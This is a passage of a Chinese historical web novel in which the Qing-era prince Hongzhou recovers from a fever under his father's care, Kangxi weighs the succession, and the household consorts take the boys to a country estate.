这回被拽来的是赵太医,他们府上请太医的时候也多是请这位。福晋对他也有些熟悉,见他一进来就要行礼挥了挥手道:“赵太医别讲那些虚礼了,快过来瞧瞧我们家五阿哥这是怎么了。” 耿执羽连忙让到一旁,赵太医目不斜视地走到了弘昼床前,将他额头上的巾子取了下来先是看了看他的脸色,又叫他张开嘴看了看舌苔。最后才执起了弘昼的手腕开始把脉,眼睛微垂着神色认真。 看着赵太医的神色,耿执羽的心几乎要跳出来。她很少见到弘昼这样蔫蔫儿的时刻,毕竟这孩子从小就活力四射的,刚学会走路就喜欢出去玩。跟他四哥打闹的时候也是一直开开心心的,像这样没精打采地躺在床上的时候实在很少。 “五阿哥这是昨日受了凉,”赵太医的脸色肉眼可见地缓和了一点,说道,“昨日京城起了大风,想来就是这时候叫五阿哥吹了风,我这就写下方子去抓了药过来煎,喝下去后好好睡一觉便能好些。” “那这应当不严重吧?”耿执羽直愣愣地看着赵太医,凝重的神色没有缓和,想在太医这里要到一个肯定的回答。 “这要看五阿哥喝过药后的情况,”赵太医回答得滴水不漏,“若是有了好转,那便不严重,只需喝几日药再静养几日便是了。但若是没有好转,那就需佐以针灸之术来试试了。” 这小儿发热的症状,有时候喝上一回药便能好全。但有时候断断续续地烧上半个月的赵太医也见过,在这位五阿哥的高热未褪下去之前,他是不敢随意断言的。 耿执羽的唇畔抖动了一下,嗫喏道:“那就多谢太医了。” “麻烦赵太医开方子罢。”福晋很客气道,“郑嬷嬷带着赵太医去开方子。” 郑嬷嬷做了一个请的姿势,带着赵太医去隔壁将文房四宝翻了出来让赵太医谢了方子。随后便马不停蹄地命人去抓药,要尽快拿回来快些煎了给五阿哥喝下去。 这方子刚写下来,看着弘昼还烧得满脸通红的模样,福晋对着赵太医客气道:“还请赵太医在府中留下片刻,待弘昼好些了再走,不然瞧着这孩子难受,我们心中惶恐又无能为力,还是太医在这才安心些。” 福晋已经做好了准备要将这位太医留在府中两日的打算了,她如今在这里是因为她是府中主事的人,又是弘昼的嫡母,庶子病了不好不过来看。但等四爷回府之后,她便能将这一摊子事交给四爷了,只需每日过来瞧一眼便是了。 现在将太医留下来,等四爷回来后自然会开口让太医多留几日的。 郑嬷嬷的手脚很快,不多时药便抓来了,立刻在院子里架起了炉子开始煎药。赵太医被请到了旁边的厢房安坐,耿执羽亲手照顾着弘昼不时给他擦拭身体。 福晋坐在了一旁,她要在这里守着等四爷回来。 府中请了太医这件事很快就被四爷知晓,他今日不算繁忙,下了朝后衙门也并无什么要紧的事情便先行回来了。回来后便被禀报了,说是五阿哥发了高热请了太医。 听到这话四爷的脸色微微一变,他上一个孩子也就是年侧福晋所生的女儿便是被一场高热夺走了性命。虽说这个女儿本就要比寻常的孩子体弱些,但若非是这场高热,说不定日后好好养着也能平安长大呢。 加之他有好几个孩子都是没的,让他听见孩子发热便会有种不好的预感。 便急忙赶到了弘昼的院子,此时正好弘历已经从先生那里听课毕了,急匆匆走回来想要去看看弟弟。他今日上课都有些心神不宁的,一直在想弟弟生病的事情。 此时见到阿玛有些吃惊,因为寻常不会在这个时候在这里碰见阿玛的。一般都是阿玛在下午或者晚上的时候,将他们叫到书房去考校学问,很少在自己院子外面能碰见阿玛。 “弘历,你这急匆匆的是为何?”四爷微微皱眉看着弘历。 弘历如倒豆子般说道:“阿玛弟弟病了,我现在念完书了要去看看他。” “你不许去,”四爷思索片刻,吩咐道,“这几日中你去我的院子里睡,你弟弟好之前你不许回院子。” 现在已经有一个小孩子病了,四爷不愿另一个小孩子也过了病气。在小五好起来之前,四爷预备将这两个孩子先隔开。 弘历瞪大了眼睛看着四爷:“阿玛我不要,我要去看弟弟!” 他的声音又气又急,死死盯着四爷,嘴巴瘪了起来似乎若是在四爷最终听到否定的答复就会哭出来似的。 但四爷没有一丝一毫的心软:“不行,让你的嬷嬷去给你收拾东西,在我允许之前你不许回来。等你弟弟病好了,你自然就能回来了。” 在宫里的时候便有宫女太监若是病了要挪出去养着,等病好了才能回来接着伺候这样的事情。但弘昼并不是下人,四爷也舍不得小儿子病了还要遭罪,便只能将弘历先挪出去了。 也就是此时他才发觉到,让这两个孩子住在一起的不便之处。当初让他们住在一起时是为了好让他们培养出些兄弟之情,如今想来是有些思虑不周了,等这回弘昼好了之后便要将他们兄弟俩分开了。 将他们分开之后,便不会再出现今日这样的事情了。 见弘历还是不愿,四爷急着进去看弘昼身子到底如何了,也懒得和这个儿子废话,便下令让苏培盛将他抱走。 见四爷进去了,苏培盛有些无奈地走到了弘历的跟前:“四阿哥,爷也是担心你进去瞧五阿哥会过了病气,若是到时候你也病了,岂非要五阿哥在病中也担忧你?生病本就是极为难受的事情了,若是五阿哥还要担心你,那便更难受了。” 苏培盛很巧妙地偷换了概念,想让弘历觉得他进去后便会病了让弟弟也担心他。 果然弘历听见苏培盛的话后,原本闹着要进去的话语慢慢平静了下来。满脸不开心地跟着苏培盛去了阿玛的院子,希望弟弟能快点好,他从前生病的时候可难受了,不想弟弟也这样难受。 四爷进去后福晋连忙起身行礼,耿执羽从弘昼的床前转身行礼。 “起来吧,”四爷很随意地挥了挥手让他们起来,然后便走到了弘昼的身边,“太医如何说的?” 一边问,一边摸了摸弘昼的脸,感受到这有些灼热的温度,四爷不禁皱起了眉。 福晋将赵太医方才说的话复述了一遍,又提了自己将太医留下的事情,四爷会意地点了点头。他虽然和福晋感情生活上算不得琴瑟和鸣,但在这些方面还是很有默契的。 “福晋贤惠,”四爷开口称赞了一句,“将赵太医留下是对的,弘昼喝过药了吗?” “已经命人去煎了。” 正在此时,郑嬷嬷端着煎好的药走了进来。她在外头已经将药用扇子扇凉了,现在端进来正好能入口。 弘昼迷迷糊糊地被叫起来,看见四爷端着药坐在他的床头沉默了一瞬,忍着刺痛的嗓子开口道:“阿玛,我要,自己,喝。” 这短短的一句话,被弘昼拆分成了好几段来讲。他的嗓子实在是疼,如果不是想到阿玛等会儿一勺一勺喂给自己,他是绝对不愿意说话的。 中药就没有好喝的,在这种生病必须喝的情况下忍着味道一两口喝完也就罢了,一勺一勺喝简直就是折磨。 四爷并未说什么,只是把碗往前递了递。 弘昼接过碗喝了一大口,嗓子在吞咽的时候也很难受,疼得他差点吐出来。可一想到要是吐出来肯定要重新喝一碗,便忍着疼痛吞了下去。 第一口将药喝了大半,第二口便将碗中的药全部喝完了。喝完药后弘昼从郑嬷嬷手中的托盘上端起了清水连连喝了两口,才觉得自己口中的苦味散了些。 他果然最讨厌喝中药了! 喝了药后弘昼躺回了床上,或许是药中有安神的成分,他闭上眼睛不一会儿便进入了梦乡。 等他再次从睡梦中醒来的时候,屋中已经点起了油灯。额娘和嫡额娘都已经不见了,唯能看见阿玛在榻前坐着,手中拿着一本书正在看着。 第50章 病好 第50章 察觉到旁边有响动,四爷的目光从书上转移到了弘昼身上,见他醒来了脸色略松了些:“醒了,饿了吗,先用点东西罢。” 宫里养孩子不许过饱过足,特别是在生病的时候是要让孩子清清静静饿上两顿的。四爷小时候也是被这套理论养大的,但他并不信这个。特别是长大后自己看了两本医书后,更觉得这个理论不对,是以他自己养孩子的时候便不会这样。 “水……”弘昼的嗓子还是疼,但已经比今早要好不少了。 外间有人守着,听到了四爷似是在说话便走了进来想看看是不是主子在叫人。更走到门口就听到了这一声,连忙去外头将炉子上的水提了起来,兑了温水就送了过来。 被扶着坐了起来,喝了两杯子水后弘昼才觉得嘴中的干渴要好了些。见他似乎不要了,四爷才将杯子随意地递给了一旁的苏培盛。 “去将炉子上温着的粥送来,再来两碟子清淡的小菜。”四爷吩咐道,“如今天晚了,不好用太多,粥送一碗来即可。” 苏培盛应了声便出去叫人盛粥了,弘昼眨了眨眼开口:“阿玛,怎么在这?” 喝了水后嗓子舒服了不少,已经能勉强说出些话了,也不似早晨那般似刀割一般了。 四爷摸了摸弘昼的脸,感受着这孩子的温度似乎略降了些心中放松了点:“你病成这样,自然要过来看看你,等会儿用过膳后让赵太医再给你把把脉。” 弘昼乖乖地点了点头,这时候已经有下人端着清粥小菜进来了。 孩子生病了,四爷也不准备强求他在难受的时候还遵守着什么礼仪。让人搬了张几子放在了床上,让弘昼慢慢喝粥。 生病的时候感觉嘴巴里都是苦味,弘昼看着这些粥和小菜觉得自己没什么胃口,但他一天都没用膳了肚子确实是饿着的。只能勉强自己喝了半碗粥后,便彻底吃不下了。 看见弘昼才吃了这么点,四爷微微皱了皱眉,但他没有多说什么只是让人叫了赵太医前来。 今夜在弘昼的院子中收拾出了一间房给赵太医暂且歇息,现在命人过去叫他,很快就过来了。过来之后赵太医看着弘昼的脸色,把了把脉后略皱了皱眉。 “这脉象瞧着并未好太多,”赵太医斟酌道,“五阿哥发热是因吹了风外邪入体,本以为喝了药好好休息便能好些。但如今瞧着,这邪气倒未完全去除,只怕五阿哥这还要难受几日,今晚和明日可能又起高热。” 弘昼迷茫地听着他说话,他的脑子宛如一团糨糊,在听了赵太医的话后用了许久才理解。也就是说自己现在病还没好全,可能反复发烧吗? 感冒发烧这样的病,在现代的时候一般都是要一两周才能好全的。他听着太医的话倒是也不着急,毕竟他现在虽然难受,但也没有难受地觉得自己立刻要挂了。 但四爷就没有弘昼这样乐观了,他听着太医的话双眉皱到了一起。心中担忧,但并未将这样的情绪表现出来,他冲着赵太医微微一颔首。 “那这几日便要麻烦赵太医了。” 赵太医连声说不敢,随后便告辞去了隔壁开始琢磨着修改药方了。这药方要根据脉象随时改变,这雍亲王已经放了话请他这几日都留在府中,赵太医便只能多尽些心力只求这位五阿哥能早些痊愈了。 或许是睡了一日的缘故,弘昼现在一点也不困。他用过粥后,便半靠在床头看着屋内,只可惜现在已经天黑了四哥肯定已经睡觉了,不然他还能来陪自己说说话。 四爷看着弘昼,忽然开口问道:“这几日里还未考校你的功课,今日正好有时间便考校考校。” 弘昼目瞪口呆地看着自家阿玛,病了也不放过的吗? 一说起考校功课,弘昼觉得自己的脑子似乎又开始疼了起来。其实他也并非厌学的人,但是在生病的时候上课这个行为是不是有点太过变态了。 看到弘昼的神情,四爷不为所动,随意地问了弘昼几个问题。这提出的几个问题都不算难,甚至称得上很是简单,所以弘昼轻易就答出了。 “看来你这些日子跟着先生学得不错,”四爷的语气波澜不惊,“既学得不错,那便奖你过几日身子好了随我去庄子小住几日吧。” 弘昼的眼睛一下子瞪大了:“庄子,哪里的庄子?” “京郊的庄子,”四爷很耐心地答道,“现在正是春日里,京郊的庄子景致不错,又不会太过炎热,正适合过去小住怡情。” 小住几日,还是自己没去过的地方。弘昼在心里盘算了一下,那不就是去旅游几天。既然是去旅游,先生应当是不会跟着去的,也就等于要放假。 这样算下来,弘昼眼睛里都要冒出红心了。他想去,超级想去。 见弘昼的神色一下子就从蔫蔫儿变得精神,四爷心中满意。他就知道,这个年纪的小男孩就没有不爱玩的,他幼时都会因为可以跟着汗阿玛去巡猎而高兴得一晚上睡不着觉,更何况弘昼呢? 这几日康熙的心绪不宁,看见这几个年长些的儿子后情绪总会变得很是暴躁。四爷正好也不想撞这个枪口,索性便告假几日带着孩子去养养身体,正好也能在汗阿玛那里留点好印象,叫汗阿玛知道自己是怜惜弱小,有一片慈父之心,并未那般争权夺利之人。 “那我一定好好养身体,”弘昼的眼睛亮晶晶的,脸上也一下子就精神了不少,“阿玛可要记得这件事,到时候不许食言。” 四爷瞥了他一眼:“我什么时候对你们食过言?” 弘昼嘿嘿笑道:“阿玛平日里就是最守信的人了,只要答应地没有做不到的。阿玛很好,一定是这世上最好的阿玛。” 这样幼稚的*话语平日里弘昼对着阿玛也是说不出来的,但现在或许是生病削弱了他思考的能力,又或许是被幻想中的庄子生活迷了眼,这话很自然地就从他嘴中说出来了。甚至在说出这句话后,他并未觉得有什么不对。 平日里拍四爷马屁的人不算少,他多数时候都是皱眉的。但听见这样稚嫩的拍马屁话语从小儿子的嘴中传来,他却觉得心情舒畅了不少,一点没有听见别人拍他马屁的无语。 甚至他在此刻都隐约能明白为什么现在汗阿玛这么偏爱那些这几年刚出生的弟弟了,毕竟相对于朝堂上这些随时都有心机算计的儿子,还是小孩子更为可爱些。 看弘昼现在颇为精神的模样,四爷沉吟了片刻后道:“今儿你四哥一直念叨着你今日没去听先生讲课,但他去听了,到时候怕你过去跟不上先生讲课。既然你现在这么精神,那便先给你讲些罢。” 一句话直接将弘昼从快乐的情绪中拉了回来,他目瞪口呆地看着自家阿玛。生病了醒一会儿,也要听课吗? “四哥呢?”弘昼很是委婉地拒绝,“到时候等我病好了让四哥给我讲就好了。” “你病了,便将你四哥挪到别处了。”四爷道,“免得他吵着要过来看你,届时你养病不安生,也怕他过了病气。” 好吧,弘昼无奈,看来阿玛没有感受到自己拒绝的坚定。 四爷命人从旁边的书房中取出了两册书,拿着便开始给弘昼讲了起来。毕竟是从小就在上书房苦读的,四爷的学识很扎实,讲课的时候是不是延展一下典故知识,听起来倒也不算单调。 但弘昼现在是没了精神听,他听着阿玛的声音,仿佛听到了周公邀请他下棋的话语一般,不到一刻钟就陷入了梦乡。 四爷停下了话语,看着弘昼沉沉睡去。沉默了一瞬后才将弘昼放平躺在床上,盖好了被子,下令让守夜的人细心照看后才走出了弘昼的屋子。 他其实有点郁闷,从前也给十三和弘晖讲过课,但他们可没有如弘昼这样直接睡过去。 苏培盛围观全场,他憋着笑安慰道:“五阿哥这是病了,病人哪有精气足的呢?想必是累了便睡了。” 四爷斜了他一眼,并未接话,而是说道:“明儿一早便命人去吏部那里给我告假,便先告假半月罢。” 御门听政不是非得日日举行的,但康熙勤政,自从亲征以来御门听政几乎日日都要举行。四爷身为亲王,手里头又管着差事,也是日日都要去上朝的,他不去是要事先告假的。 苏培盛应了一声:“爷的这份拳拳慈父之心,定能让五阿哥日后感激不尽的。” “哪里需要他感激不尽,”四爷有点惆怅,“只要他好好长大便是了。” 哪怕愚笨,哪怕不争气,只要好好长大,平安健康地长大就行了。对于孩子们的期待不同,四爷对每个人的待遇也不同,他对弘时严苛很多时候是因为对弘时寄予厚望。 但是弘昼,既是兄弟间最小的一个,又不见有什么格外聪颖智慧的地方。特别是在现在弘昼还在高热的时候,四爷内心对这个小儿子的期待已经降低到了只要平安健康就行了。 当然,这是现在的想法。或许等弘昼好了,再过些日子,这个想法便会随之改变了。 弘昼的高热持续了两三天,好在第四天开始体温降下来之后便没有反复发热了。在第六天后,赵太医便留下了一张养身子的方子走了。 而在第八天,弘昼终于被允许从自己的卧房中走出来了。【你现在阅读的是魔蝎小说 moxiexs】 50-60 第51章 一起出去玩 第51章 站在太阳下面,弘昼的心情很好。这些天一直待在卧房里,连下床都要被唠叨一下,现在身体好了总算是可以出来晒晒太阳了。 现在还是春日里,太阳照在身上暖洋洋的,却并不滚烫。若是夏日里站在太阳底下,那便只会感受到一股灼热的温度,而非是这样惬意的感觉了。 “弟弟,”弘历气喘吁吁地跑了进来,站到弘昼的身前,气还没喘匀就开始抱怨,“你总算好了,这几日阿玛和嬷嬷都不准我过来看你,是今天才许我过来的。你怎么样了,身上还有没有不舒服的地方?” 弘昼在四哥的面前转了一个圈:“我现在已经好全了,浑身上下都没有不舒服的地方。” “阿玛还说这几日过后就要将我们分开,”弘历瘪着嘴不满道,“说要将我挪出去,说我们已经长大了,不能继续住在一个院子里头。” 原来四岁就已经算长大了吗?弘昼在心中敬畏地想道,不过分开也没有什么不好的,反正等再大一点肯定是要分开的。 而且都是在这前院住着,分开又能分到哪里去呢?不过是多走几步路的距离罢了,又不可能将他们哪一个分到外头去。 “反正都是在前院住着的,”弘昼安慰道,“分开也不远的,阿玛要分就分呗。” 弘历还是不满意:“明明我们一起住就很好,这样我醒来就能找你玩了。” “分开了也能找我玩,”弘昼说道,“阿玛又不可能把你分到府外头去,只要还在前院里待着,那不过是多走几步的距离。再说了,三哥也是单独住的,等咱们再长大一点交了朋友,也有个单独的院子招待朋友。” 弘历听着弘昼说话,眼神直直地盯着他。 被四哥看得有点心虚,弘昼开口问道:“四哥你看我做什么?” “我看你怎么和阿玛说的话一样,”弘历哼哼唧唧,“还有嬷嬷,也是这样说的。” 弘昼一挺胸脯,很是骄傲:“说明我现在已经和阿玛还有嬷嬷一样成熟了,以后四哥要听我的。” “我才不信呢,肯定是阿玛也在你面前说过这样的话。” 这话倒是也不假,弘昼生病的这几日,四爷陪了他不少时间。耿执羽除却第一日被福晋带过来外,后面的几日不好过来只能常常派了伏云和娑鸣过来问问情况。而福晋也是如此,不过一个是不能来,另一个则是觉得没必要过来。 四爷请了上朝的假,这几日就陪在了弘昼身边,连年侧福晋那里都不曾去。弘昼私心里觉得,这几日相处的时间比得上平时三个月相处的时间了。 相处这么久,除却给弘昼补课外,四爷也提了要将他们兄弟分开的事情。弘昼对此接受良好,没人会不喜欢拥有一个私人空间。 这倒是让四爷很是诧异,因为这话他也和弘历提过,只是接收到了激烈的反抗。他以为弘昼和弘历整日里都待在一起,想法多半也是八。九不离十的,但没想到这个小的倒是接受良好。 搬出去这件事,即便弘历再不情愿,但四爷已经决定了的事情,他是无法改变的。 下人们的动作很快,在四爷下令后两日时间便将弘昼旁边的院子收拾了出来。而弘历则被打包着带到了那里,最开始还有点不习惯,后来发现果然如嬷嬷他们所说,想和弟弟玩了只需要多走几步就好了,便逐渐习惯了。 四爷重新恢复上朝后,还被康熙问过两句。 康熙自问对于自己的这几个孩子还是挺了解的,老四一贯是个勤勉靠谱的人,有些坚刚不可夺其志的意思。这么多年来除却生病很少告假,即便是生病从前最多也就是告假一两日,这回直接告假了快十日,让他不免多了点关注。 “听闻你是因为你家老五病了才告假的?”康熙的手近日恢复了些,至少自己写点东西已经是无碍了,他此时放下了手中的毛笔,看着四爷问道。 四爷恭敬道:“回汗阿玛的话,弘昼自小身体便极好,生病是极少有的事情,像这回这般烧了好几日更是从未见过。儿臣心中担忧,加之这几日内朝中无甚大事,便告了几日假。” 康熙看着四爷的目光里多了一抹赞赏:“想不到朕的老四,如今也是一副慈父心肠。不错,修身齐家治国平天下,你还年轻时便已经做到了修身,如今也参透了齐家,如此这般日后才能教人更放心。” 这话让四爷的心跳漏了一拍,不过他没有表现出来,而是谦虚了几句。 “你家的老四老五,”康熙的眼睛微微垂下,“如今算起来已经四岁了,再过两年便送进宫来念书罢,也免得你还要另找先生。” 四爷愕然:“可这不合规矩。” “如今在宫中念书的阿哥也只剩五个了,”康熙说道,“叫你们兄弟的孩子进来念书也可热闹热闹。” 原来是兄弟们的孩子,四爷无端升起了一股失望。原本听汗阿玛方才的意思,他还以为是单要他一个人的孩子呢。 见四爷应了,康熙微微挥了挥手示意他告退,见他退出去后才又拿起了毛笔开始批奏折。 可没过一会儿,他又将手中的毛笔放下了。病愈后,他能感觉到自己的身体大不如从前,虽说如今已经能自己书写了,可写一会儿字便能感受到手上的无力和酸疼。 这些都在告诉他,是时候要考虑继承人的问题了。 他从前一心培养的继承人,现在已经被圈禁。而胤礽的孩子弘晳虽然养在身边,可他从前读史便知道明惠宗的案例。弘晳是决计压不过他那几位叔叔的,况且若是弘晳继位,又让胤礽如何自处呢? 想到这里,康熙心情更为烦闷。必要选一个能力出众,但是又肯善待兄弟的孩子出来。至少……在他去后,要保胤礽无忧,要能容得下弘晳。 现在还不急,他还能撑几年,可以慢慢考察,这个人选需得对得起大清,也能对得起兄弟。 这样的烦恼太过宏大了,是弘昼现在所不知道也不能理解的。不过他也有自己的烦恼,比如先前给自己画饼病好之后可以去庄子小住的阿玛,现在要反悔了。 弘昼很不高兴地盯着四爷,让四爷略有些尴尬地咳嗽了一下。 他原以为自己再告假几日便是了,但没想到昨日不过是去上朝了,汗阿玛便给他派了一堆的活儿。 和陪着儿子出去玩相比,自然是这些朝事更为重要。 “阿玛食言,”弘昼的声音幽幽的,“你明明答应了我不会食言的。” 四爷无奈:“这回是你皇玛法给阿玛派了事儿,并非阿玛有意要食言的。” “那就让我和四哥自己去。”弘昼的脑袋上亮起了小灯泡,“反正身边随时都有伺候的人,我和四哥去再带上我额娘还有钮祜禄额娘。” 阿玛不能去就不去,但是不可以将自己的行程否决掉。 四爷蹙眉,原本他是不想允许的,但被弘昼缠着好几回之后便应允了。反正不过是去庄子小住几日,耿氏和钮祜禄氏也是有分寸的人,必不会叫孩子玩得太疯。 得到了阿玛的应允,弘昼开心极了。欢呼着跑出去将这个好消息分享给了四哥,然后去后院给额娘还有钮祜禄额娘报喜,她们难得能出去一趟,肯定会喜欢的。 去泗水院的时候,耿执羽正在和伏云娑鸣她们一起踢毽子。她并不喜欢绣花这样的文静活儿,反而更喜欢动起来。 反正四爷这两年来几乎不来她的院子过夜了,现在弘昼没有养在她院中,倒是也不怕大白天的四爷会过来。 弘昼进院子的时候正看到额娘很灵活地背过身接了一个毽子,还冲着娑鸣挑了挑眉,很是得意的样子。 见弘昼回来了,耿执羽将毽子踢了起来,随后用手接住问道:“怎么回来了?” “额娘好厉害,”弘昼看着耿执羽手上的毽子,称赞道,“这样踢毽子都没有掉到地上。” 被儿子夸了,耿执羽脸上的得意之色更显。 “额娘,我这次回来是有好消息。”弘昼接着说道,“阿玛答应让我们去庄子玩了。” “什么?”耿执羽有点懵,“什么庄子?” 弘昼将自己病中阿玛许诺的事情说了出来,又补充道:“阿玛说他最近被派了一堆的差事,没时间带我和四哥去庄子了。然后我便缠着阿玛,让额娘还有钮祜禄额娘带我和四哥去,阿玛被缠烦了就同意了。” 耿执羽眼睛略微瞪大了一点,脸上很快就出现了喜色。 其实王府的女眷并不是嫁进来就完全不能出门的,福晋日常要和各府的女眷交际。李侧福晋和年侧福晋也有各个府中相熟的侧福晋,只要禀了福晋也是能出门的。 格格就没有这个权利了,侧福晋能出门交际是因为她们上了玉碟。在多年前满人秉持着多妻制,努尔哈赤有过四位大福晋,皇太极也搞过五宫并立,那时候嫡福晋和侧福晋之间的差距没有那么大,侧福晋所生的孩子也算作嫡子。 但到现在,侧福晋虽然已经不能和嫡福晋相提并论,所生的孩子也成了庶子,但还是保留了一点特权的。 耿执羽自从进了雍亲王府,几乎就没有出过这个府邸,如今听到能出去逛一圈,自然脸上出现了欢欣之色。 这件事很快就传遍了后院,因为两个格格要出门这样的事情是要禀告福晋的。 第52章 庄子 第52章 福晋倒没什么感觉,嗯了一声表示知道了后便命人去备齐她们出门的人手了。两位格格和两位阿哥都要一起出去,护卫是绝对要带齐的,虽说应当没有什么贼子敢在京郊作乱,但不怕一万就怕万一。 倒是福晋身边的桂嬷嬷很有些不悦:“不过是两个格格罢了,既不得宠又无甚家世,仗着生了两个阿哥反倒是张狂了起来。” 一旁的温术偷偷抬头看了桂嬷嬷一眼,随后又垂下了眼睑。桂嬷嬷是院中的掌事嬷嬷,是能管着她们这些大丫鬟的,也让她虽然觉得桂嬷嬷这话不很对,但也不敢出言反驳。 福晋的脑袋从账册上抬起来,眼神看向了桂嬷嬷:“这样的话,日后嬷嬷莫要再说了。” “福晋,”桂嬷嬷愤愤,“李侧福晋和年侧福晋便罢了,如今这两个格格都要不将您放在眼里了。这样大的事情,竟然不先禀了您,而是通过爷那里直接下令,这岂非不将您当回事。” 福晋的眼神冷冷淡淡的,看着桂嬷嬷:“那依嬷嬷看来,应当如何呢?” “福晋心慈,这么多年来不曾让后院中的格格侍妾立过规矩,不若将耿格格和钮祜禄格格叫来在您跟前学两日规矩,那想来日后也就知道进退了。” 温术的小嘴微微张大了一点,但马上就闭回去了。桂嬷嬷今日这是怎么了,往日里是不会说出这样的话的。 桂嬷嬷是福晋的奶嬷嬷,从福晋幼时就伺候福晋了。这么多年来,福晋一直都很给桂嬷嬷体面,这正院中的所有人都是归桂嬷嬷管着的。 但在温术的印象中,桂嬷嬷一直是很知进退的,从来不会说出这样令福晋为难的事情,更不会出这样的昏招。 福晋微微闭了闭眼:“前儿嬷嬷出府,是回了乌拉那拉家么?” “福晋……”桂嬷嬷开始有点不安了,不过她不敢欺瞒,而是微微点了点头,“夫人召见。” “那为何不与我说呢?”福晋的语气平静,但眼神中逐渐开始有了失望之色。 桂嬷嬷咬了咬牙:“福晋,夫人也是为了您好。大阿哥已经去了那么多年了,您即便再伤心,也该自己立起来了。便是您不想去邀宠生个孩子,也该扶个咱们的人生个小阿哥养在身边啊,温术温岚年纪相当,也可以在外边挑选身家清白的女子……” 这话还没说完,温术就骇得跪下了:“福晋,奴婢断没有这个念头,也不曾与桂嬷嬷说过这些。” “嬷嬷年纪大了,还是出府养老吧。”福晋眼神里带出了点疲惫。 “福晋!”桂嬷嬷也跪了下来,“忠言逆耳利于行,老奴纵然说得不对,也请福晋莫要将老奴赶出府,老奴这都是为了福晋好啊。” “为了我好?”福晋的眼神冰冷了下来,“我如今已经青春不再,年幼的女子生孩子都是过一趟鬼门关,我这个年纪生孩子的又几人能活下来?况且,只要我不曾犯错,即便和爷不算琴瑟和鸣,但到底爷也是敬重我的,下头三个阿哥又岂敢轻慢我?” “你偏偏要说出这些话来,明里是为了我好,实际是想挑起我在后院争斗。可我本就是福晋,她们斗是为了宠爱,为了在爷面前博一席之地,但我不必,我只要不犯错就永远是雍亲王福晋。” 说到这,福晋站起身来,居高临下地看着桂嬷嬷:“嬷嬷,我知道你小儿子一家还在乌拉那拉家,你惦记他们也属平常。我便不将你交回去了,你只好好的出府荣养就是了。” 桂嬷嬷瘫软了身体,开始不停磕头:“福晋,福晋,老奴绝无此意。老奴是心疼福晋膝下冷清,并无此意。若是福晋不喜,那日后老奴再也不提了,只是不要叫老奴出去啊,老奴跟着福晋三十余年,是死也不情愿离开福晋的。” 看着桂嬷嬷将脑袋磕到红肿,福晋的眼里也闪过了一丝不忍:“罢了,这次就算了,下回若是还听到嬷嬷说这样的话,那便只能让嬷嬷出府了。温岚,将嬷嬷扶下去好好照顾。” 温岚应了一声,小心翼翼将桂嬷嬷扶了下去。 留在屋内的温术小心翼翼地看了一眼福晋,劝道:“嬷嬷不过是一时没想明白。” “她这样想已经很久了,若是早几年也就罢了,现在……”福晋眼神惆怅,神色淡漠不知道想了什么,良久后才继续低头看账本。现在即便她能生出一个孩子来,也小太多了,还不一定能养活,又何必再折腾这一遭呢? 福晋那边的人很迅速,几乎在四爷派人过去的第二日就备齐了东西和人手。耿执羽知道这个消息后脸上一直难掩着笑意,她从前出门是很正常的一件事,到了雍亲王府后却从未出过门。 这回去庄子上,特别是福晋和爷还有两位侧福晋都不去。只有她自己和兮兰姐姐,也就意味着她们可以相当自在地玩耍,不过顾及别的。 东侧院和西侧院也在第二日得到了消息,年侧福晋倒是无所谓,毕竟这是两位格格带着她们的孩子前去,爷并未去,她便也不多关注。 但李侧福晋便不高兴了,她从前当格格的时候也只是被四爷带着去过两回庄子。还从未被允许自己前去,怎么现在耿氏和钮祜禄氏就可以了?不过她现在见到四爷的机会很少,即便心中有牢骚也不敢对着四爷发,只是在耿执羽和钮祜禄格格请安的时候阴阳怪气几句罢了。 收拾好了东西的第二日,耿执羽和钮祜禄格格辞别了福晋,带着两个孩子上了马车。 四个人坐在一辆马车上,弘昼轻轻掀开车帘好奇地看着外面,耿执羽也和孩子一起看外面。而对面的钮祜禄格格和弘历则是端端正正地坐着,无奈地看着这边。 钮祜禄格格轻轻咳嗽了一声,耿执羽转过头去看了眼兮兰姐姐,见到她眼中的不赞同才讪讪拉下了帘子重新坐好。 对于这个一出门就宛如年轻十岁的耿执羽,钮祜禄格格是很无奈的。刚刚那个场面,这母子俩的动作几乎是一模一样的,真不怪是亲生母子。 弘昼看了一会儿也放下了帘子,外头的场景刚开始看的时候还算稀奇,但是多看了一会儿之后也只会觉得寻常了。 京郊的庄子离雍亲王府不算近,弘昼在马车上坐得都已经昏昏欲睡了,甚至靠在了额娘身上睡了一会儿才到。 “弘昼,快起来了。”耿执羽的眼睛闪亮亮的,轻轻推了一把弘昼,“已经到了。” 弘昼揉了揉自己的眼睛,从马车上走了下来。映入眼帘的是一片绿色的麦田,远处也都是田地被种上了庄稼,还有几个小孩子在远处的山上跑跳着。这样的场景让弘昼的心情一下子就轻松了起来,似乎心灵受到了洗涤一般平静。 “奴才参见两位阿哥,参见两位格格。”这个庄子的庄头是个模样四五十岁的中年男人,他的皮肤黝黑,低着脑袋行礼,几乎不敢往上抬一眼。 庄头的妻子连忙上前也跟着行礼:“见过几位贵人,已经将贵人们的房舍打扫干净了,只是咱们这乡下地方比不得贵人们寻常的住所。” “无妨,”钮祜禄格格笑了一声说道,“只要整洁干净即可。” “这个贵人们就放心,能迎来几位贵人,让我们这庄子蓬荜生辉,打扫的时候是不敢有一点儿马虎的。”相比于庄头,明显是庄头的妻子更为健谈,她的话语中带着笑意,带路的时候不时地介绍周边的场景,还暗戳戳地拍了拍钮祜禄格格和耿执羽的马屁。 这庄头一家子虽说也称得上是雍亲王府的人,但他们能被派到这地方,就代表并不受四爷的看重,也就不会清楚雍亲王府里头的细节。 见两位格格携两位阿哥来,便很自然地以为这两位格格应当是在府中受宠的,一心想着伺候好了,说不定能有些好处。 很快,他们就被引到了一处青砖建成的小院。和周边看到的泥土茅草建筑的房子相比,这青砖建成的小院已经能称得上是豪宅了。 钮祜禄格格和耿执羽都带了伺候的人来,这些人连忙进去预备着将院子再打扫一遍。将带来的东西摆好,别的不说,床上用的东西是一定要用自己带来的。 耿执羽则拉着钮祜禄格格开始看看周围的田地,她们的家世虽说比不上年侧福晋和福晋,但和寻常的老百姓比起来也是相当不错了。便也没怎么见到过庄子里的这副场景,如今看着倒是十分稀奇。 但弘昼和弘历就不一样了,他们俩更喜欢的是这种一眼几乎望不到头的田垄旁能随意地奔跑。在府中的时候,除了在校场上和自己的院中,在其他地方随意乱跑是要被劝的。 而即便在校场上,也没有这么大的地方,可以供他们跑。 这一下午的时间,弘昼和弘历几乎一直在玩着这个你追我赶的游戏,直到傍晚,要用晚膳的时候,两位额娘遣了人出来找,才将他们从广阔的田野中拉回来。 